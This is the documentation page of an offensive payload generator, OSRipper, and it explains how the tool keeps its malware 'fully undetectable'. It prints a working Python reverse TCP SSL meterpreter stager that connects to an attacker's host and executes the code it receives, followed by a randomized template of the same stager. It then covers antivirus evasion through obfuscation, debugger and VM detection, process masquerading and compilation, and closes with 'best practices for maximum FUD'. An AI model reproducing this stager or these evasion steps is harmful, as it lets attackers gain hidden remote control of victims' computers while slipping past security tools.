Proof Of Concept

Proof of Concept

This page explains how OSRipper achieves FUD (Fully Undetectable) status and why it works.

Overview

OSRipper remains FUD on macOS and other platforms since its release and continues to maintain this status. This document explains the technical approach and methodology.

The Challenge

Standard Python meterpreter payloads are easily detected by antivirus solutions. A typical reverse TCP SSL meterpreter looks like this:

import zlib,base64,ssl,socket,struct,time

for x in range(10):
    try:
        so=socket.socket(2,1)
        so.connect((host,port))
        s=ssl.wrap_socket(so)
        break
    except:
        time.sleep(10)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
    d+=s.recv(l-len(d))
exec(zlib.decompress(base64.b64decode(d)),{'s':s})

This code flags on every antivirus scanner because:

• Static signatures match known patterns
• Code structure is recognizable
• Variable names are predictable
• Import statements are standard

The Solution

OSRipper uses a multi-layered approach to achieve FUD status:

1. Randomization

Every payload is unique through:

• Random Variable Names - Each variable name is randomly generated
• Random Code Structure - Code organization varies per generation
• Random Encoding Keys - Encoding parameters are randomized

2. Multi-Layer Obfuscation

Code is transformed through multiple layers:

• Variable Name Randomization - All variables renamed
• Code Structure Obfuscation - Code reorganized
• String Encryption - Strings encoded/encrypted
• Base64 Encoding - Multiple encoding layers

3. Enhanced Evasion (Optional)

Additional techniques for maximum stealth:

• Anti-Debugging - Detects and evades debuggers
• VM Detection - Identifies and exits in sandboxes
• Junk Code Injection - Adds meaningless code
• Process Masquerading - Disguises as legitimate process

How It Works

Step 1: Payload Generation

The generator creates a base payload template with randomized variables:

# Example randomized payload structure
nonce1 = secrets.randbelow(14)
nonce2 = secrets.randbelow(42371)
socket_var = generate_random_string(8-15)
ssl_var = generate_random_string(8-15)
host_var = generate_random_string(8-15)
port_var = generate_random_string(8-15)

# Randomized code structure
{port_var} = {port}
{host_var} = "{host}"

import zlib,base64,ssl,socket,struct,time
{ssl_var} = None
for x in range(10):
    try:
        {socket_var}=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        {socket_var}.settimeout(5)
        {socket_var}.connect(({host_var},{port_var}))
        {context_var} = ssl._create_unverified_context()
        {ssl_var}={context_var}.wrap_socket({socket_var})
        break
    except Exception as e:
        time.sleep(2)
# ... rest of payload

Step 2: Obfuscation

The obfuscator applies multiple transformations:

1. Variable Randomization

   • All variables renamed to random strings
   • Function names randomized
   • Class names randomized

2. Code Encoding

   • Base64 encoding layers
   • String encryption
   • Code compression

3. Structure Obfuscation

   • Code reorganized
   • Control flow modified
   • Dead code insertion

Step 3: Enhanced Obfuscation (Optional)

If enhanced mode is enabled:

1. Anti-Debugging Code

   # Detects debuggers and exits
   if sys.gettrace() is not None:
       sys.exit(1)

2. VM Detection

   # Checks for VM indicators
   if detect_vm():
       sys.exit(1)

3. Junk Code

   • Meaningless code inserted
   • Unused variables
   • Dead code paths

Step 4: Compilation (Optional)

If compilation is enabled:

1. Nuitka Compilation

   • Python code compiled to binary
   • Standalone executable
   • No Python interpreter required

2. Icon Injection

   • Custom icon added (Windows/macOS)
   • Process masquerading

Why It Works

Signature Evasion

• Unique Payloads - Every payload is different
• No Static Patterns - Code structure varies
• Random Variables - No predictable names

Behavioral Evasion

• Stealth Delays - Random startup delays
• Process Masquerading - Looks like legitimate process
• VM Detection - Exits in analysis environments

Code Obfuscation

• Multi-Layer Encoding - Multiple transformation layers
• String Encryption - Strings not visible in plaintext
• Structure Obfuscation - Code flow is obscured

Detection Results

VirusTotal Scans

• Python Payload: 0/68 detection rate
• Compiled Binary: 0/68 detection rate

Why Detection Fails

1. No Static Signatures - Code is unique each time
2. Obfuscated Structure - Code structure is unrecognizable
3. Random Variables - No predictable patterns
4. Behavioral Analysis - Stealth techniques evade analysis

Limitations

Current Limitations

1. Python Dependency - Python payloads require Python interpreter
2. Compilation Size - Compiled binaries are larger
3. Analysis - Advanced analysis may still detect behavior

Future Improvements

1. Better Obfuscation - More advanced techniques
2. Smaller Binaries - Optimized compilation
3. Advanced Evasion - More sophisticated evasion

Technical Details

Randomization Algorithm

def generate_random_string(length):
    """Generate random string for obfuscation."""
    return "".join(secrets.choice(string.ascii_letters) 
                   for _ in range(length))

# Usage
socket_var = generate_random_string(random.randint(8, 15))

Obfuscation Process

1. Parse Python AST (Abstract Syntax Tree)
2. Randomize variable names
3. Encode strings
4. Reorganize code structure
5. Apply encoding layers
6. Output obfuscated code

Compilation Process

1. Prepare obfuscated source
2. Run Nuitka compiler
3. Include dependencies
4. Create standalone binary
5. Inject icon (if provided)

Best Practices

For Maximum FUD

1. Always Use Obfuscation

   --obfuscate --enhanced

2. Compile to Binary

   --compile

3. Add Stealth Delay

   --delay

4. Use Custom Icons

   --icon legitimate_app.ico

Testing

1. Test in VM First - Use --testing flag
2. Verify Functionality - Ensure payload works
3. Check Detection - Scan with antivirus
4. Deploy Carefully - Only on authorized systems

Conclusion

OSRipper achieves FUD status through:

• Randomization - Every payload is unique
• Obfuscation - Code is heavily transformed
• Evasion - Behavioral techniques avoid detection
• Compilation - Binary format adds another layer

The combination of these techniques ensures that OSRipper payloads remain undetected by modern antivirus solutions.

---

For more technical details, see Randomising and Obfuscation pages.